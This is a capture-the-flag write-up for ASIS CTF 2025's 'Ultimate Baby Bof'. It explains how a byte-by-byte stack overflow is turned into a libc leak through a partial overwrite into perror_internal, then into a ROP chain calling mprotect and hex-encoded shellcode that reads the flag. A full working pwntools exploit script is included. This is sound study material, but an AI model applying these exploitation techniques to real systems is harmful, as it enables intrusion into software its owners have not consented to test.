[WRITE UP] - ASIS CTF 2025: Ultimate Baby Bof

index

ASIS CTF 2025 is my first CTF play with my new team SPL, and we work hard together to solve the challenges. I hope this CTF have more time to solve the challenges, rather than 24h only. And here is a write up for Ultimate Baby Bof

Challenge Information

Author

ptr-yudai

Analysis

The program code is pretty simple:

1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  unsigned __int64 n0x30; // rbx
4
  char buf[33]; // [rsp+7h] [rbp-21h] BYREF
5

6
  for ( n0x30 = 0LL; n0x30 < 0x30; ++n0x30 )
7
  {
8
    if ( read(0, buf, 1uLL) <= 0 )
9
      break;
10
    if ( buf[0] == 10 )
11
      break;
12
    buf[n0x30 + 1] = buf[0];
13
  }
14
  return 0;
15
}

it reads up to 48 bytes from stdin, one byte at a time, and stores them in buf. The buffer buf is only 33 bytes long, so there is a potential for a buffer overflow vulnerability here. Moreover, there also have a seccomp filter that blocks execve, and execvat syscall. My first thought that came to my mind was that this was just a normal pivot challenge until I realized that it doesn’t have the leave; ret gadget. And the nightmare started, I spent 4 hours playing around with this binary and had no idea. Until @Corgo told me that stderr forwarded to stdout.

1
#!/bin/sh
2
exec ./chall 2>&1

So that I pretty sure that I need to do something with stderr, look around the binary, I found that we can partial overwrite the return address (because there is a main function so we can overwrite the return address, which is a libc address, to anywhere we want). And perro_interal is in the 2-byte-overwrite range, which prints whatever’s at RSI to stderr.

1
   0x15555532aa6a <perror_internal+102>:  xor    eax,eax
2
   0x15555532aa6c <perror_internal+104>:  call   0x155555385610 <__fxprintf>

The __fxprintf function is a variadic function that takes a format string and a variable number of arguments, and prints the formatted string to the file stream specified by the first argument (in this case, stderr).

1
int
2
__fxprintf (FILE *fp, const char *fmt, ...)
3
{
4
  va_list ap;
5
  va_start (ap, fmt);
6
  int res = __vfxprintf (fp, fmt, ap, 0);
7
  va_end (ap);
8
  return res;
9
}
10

11
int
12
__vfxprintf (FILE *fp, const char *fmt, va_list ap,
13
       unsigned int mode_flags)
14
{
15
  if (fp == NULL)
16
    fp = stderr;
17
  _IO_flockfile (fp);
18
  int res = locked_vfxprintf (fp, fmt, ap, mode_flags);
19
  _IO_funlockfile (fp);
20
  return res;
21
}

And we can control the RSI via our input. We can use this to leak libc address, then build a ROP chain to call mprotect to make the stack executable, and then read the shellcode from stdin and execute it.

Exploit

The exploit is pretty straightforward, because the stack frame is subtracted after calling one function, in this case by leverageing the perror_internal return behavior, we know that we need to spray some padding so that when it

1
   0x15555532aa85 <perror_internal+129>:  add    rsp,0x418
2
   0x15555532aa8c <perror_internal+136>:  pop    rbx
3
   0x15555532aa8d <perror_internal+137>:  pop    r12
4
   0x15555532aa8f <perror_internal+139>:  pop    r13
5
   0x15555532aa91 <perror_internal+141>:  pop    rbp
6
   0x15555532aa92 <perror_internal+142>:  ret

it add the stack frame back to 0x418, then pop the registers and return.

1
sl(flat(
2
    b'A' * 0x10,
3
    exe.got.read, # rbx
4
    exe.bss()+0xe00, # rbp
5
) + b'\x11\xaa')
6

7
# spray and pray
8
write(rbx=0, rbp=exe.bss()+0x200, rip=exe.sym._start, next_ret=exe.sym.main)
9

10
write(rbx=0, rbp=exe.bss()+0x200, rip=exe.sym._start+18)
11
write(rbx=0, rbp=exe.bss()+0x200, rip=exe.sym._start+24)
12
write(rbx=0, rbp=exe.bss()+0x200, rip=exe.sym._start+24)
13
write(rbx=0, rbp=exe.bss()+0x200, rip=exe.sym._start+24)
14

15
sl(flat(
16
        b'||%2$p||', b'A' * 0x8,
17
        exe.got.read, # rbx
18
        exe.bss()+0xe00, # rbp
19
) + b'\x6a\xaa')
20

21
ru(b'||')
22
libc.address = int(ru(b'||', drop=True), 16) - (libc.sym['read']+17)
23
slog('libc base @ %#x', libc.address)

After leaking the libc address, everything is easy, but when I try to make our overflow size more bigger, I met a problem that the read function return -1, just because the rdx I set is too big. After some googling, I foundd that the read syscall has a size check that the count parameter (in rdx) must not larger than SSIZE_MAX. One more thing is that our read must in invalid address range [buf, buf+count). In the most x64 Linux system, they use x86-64 ABI. I found that when I change the kernel version to 6.6 which is default in WSL2, a kernel have a config CONFIG_X86_X32_ABI which enable the x32 ABI, so that our size is truncate to 32 bit, that mean we can read successfully. Just build a ROP chain to call mprotect to make the stack executable, then read the shellcode from stdin and execute it.

1
sl(flat(
2
    0, 0,
3
    0, # rbx
4
    0, # rbp
5
    libc.address+0x1ab46b,
6
    libc.sym.read
7
)[:-1])
8

9

10
rop = ROP([libc])
11
rop.rax = exe.bss()+0x500
12
rop.raw(libc.address+0x1449ba)
13
rop.raw(7)
14
rop.mprotect(0x404000, 0x1000)
15

16
rop.raw(libc.address+0x1ab46b)
17
rop.read(0,exe.bss()+0x50)
18
rop.raw(libc.address+0x1ab41b)
19
rop.raw(exe.bss()+0x50)
20

21
shellcode = bytes.fromhex("488bece81a0000006a3c580f05565755488bec8bf86a02588bf28bd10f05c95f5ec3565755488bec488da42400f0ffff488d053b000000ba0000010033c9e8caffffff8bf8488db500f0ffffb8d9000000ba001000000f0548c7c00100000048c7c7010000004889e648c7c2e80300000f052e000000")
22
# print(disasm(shellcode))
23

24
# shellcode = asm(shellcraft.cat2("./flag-dae7cb7f09d632efcb5289af8d69a0ae.txt"))
25

26
# sl(cyclic(200))
27
s(b'A' * cyclic_find(b'aaan') + rop.chain())
28

29
pause()
30
sl(shellcode)

Full Exploit Code

1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
from pwnie import *
4
from time import sleep
5

6
exe = context.binary = ELF('./chall_patched', checksec=False)
7
libc = exe.libc
8

9
gdbscript = '''
10
init-pwndbg
11
# init-gef-bata
12
# b *_start+18
13
# b *0x401228
14
# b *perror_internal+13
15
# b *perror_internal+102
16

17
b *($base("libc")+0x1ab41b)
18
b *($base("libc")+0x1ab46b)
19
c
20
'''
21

22
def start(argv=[]):
23
    if args.LOCAL:
24
        p = exe.process()
25
    elif args.REMOTE:
26
        host_port = sys.argv[1:]
27
        p = remote(host_port[0], int(host_port[1]))
28
    return p
29

30
def write(rbx, rbp, rip, trail=b'\n', next_ret=0x1337):
31
    s(flat(
32
        0x69420, 0x17386969, # useless (?)
33
        rbx, # rbx
34
        rbp, # rbp
35
        rip, # rip
36
        next_ret # useless for this
37
    )[:-1]+trail)
38

39

40
# ==================== EXPLOIT ====================
41
p = start()
42

43
sl(flat(
44
    b'A' * 0x10,
45
    exe.got.read, # rbx
46
    exe.bss()+0xe00, # rbp
47
) + b'\x11\xaa')
48

49
# spray and pray
50
write(rbx=0, rbp=exe.bss()+0x200, rip=exe.sym._start, next_ret=exe.sym.main)
51

52
write(rbx=0, rbp=exe.bss()+0x200, rip=exe.sym._start+18)
53
write(rbx=0, rbp=exe.bss()+0x200, rip=exe.sym._start+24)
54
write(rbx=0, rbp=exe.bss()+0x200, rip=exe.sym._start+24)
55
write(rbx=0, rbp=exe.bss()+0x200, rip=exe.sym._start+24)
56

57

58
sl(flat(
59
        b'||%2$p||', b'A' * 0x8,
60
        exe.got.read, # rbx
61
        exe.bss()+0xe00, # rbp
62
) + b'\x6a\xaa')
63

64
ru(b'||')
65
libc.address = int(ru(b'||', drop=True), 16) - (libc.sym['read']+17)
66
slog('libc base @ %#x', libc.address)
67

68
if args.GDB:
69
    gdb.attach(p, gdbscript=gdbscript)
70
    pause()
71

72
sl(flat(
73
    0, 0,
74
    0, # rbx
75
    0, # rbp
76
    libc.address+0x1ab46b,
77
    libc.sym.read
78
)[:-1])
79

80

81
rop = ROP([libc])
82
rop.rax = exe.bss()+0x500
83
rop.raw(libc.address+0x1449ba)
84
rop.raw(7)
85
rop.mprotect(0x404000, 0x1000)
86

87
rop.raw(libc.address+0x1ab46b)
88
rop.read(0,exe.bss()+0x50)
89
rop.raw(libc.address+0x1ab41b)
90
rop.raw(exe.bss()+0x50)
91

92
shellcode = bytes.fromhex("488bece81a0000006a3c580f05565755488bec8bf86a02588bf28bd10f05c95f5ec3565755488bec488da42400f0ffff488d053b000000ba0000010033c9e8caffffff8bf8488db500f0ffffb8d9000000ba001000000f0548c7c00100000048c7c7010000004889e648c7c2e80300000f052e000000")
93
# print(disasm(shellcode))
94

95
# shellcode = asm(shellcraft.cat2("./flag-dae7cb7f09d632efcb5289af8d69a0ae.txt"))
96

97
# sl(cyclic(200))
98
s(b'A' * cyclic_find(b'aaan') + rop.chain())
99

100
pause()
101
sl(shellcode)
102

103
interactive(flag=False)
104
# ASIS{Y3t_4n0th3r_p0Ss1biL17y_0f_ROP_wow}